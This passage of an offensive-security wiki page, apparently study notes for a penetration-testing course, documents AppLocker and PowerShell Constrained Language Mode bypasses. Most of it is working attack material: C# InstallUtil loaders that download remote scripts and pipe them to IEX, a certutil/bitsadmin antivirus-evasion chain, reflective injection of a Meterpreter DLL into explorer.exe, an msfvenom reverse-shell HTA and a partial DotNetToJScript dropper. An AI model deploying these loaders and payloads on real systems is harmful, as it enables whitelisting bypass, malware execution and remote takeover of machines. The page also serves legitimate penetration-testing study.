| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
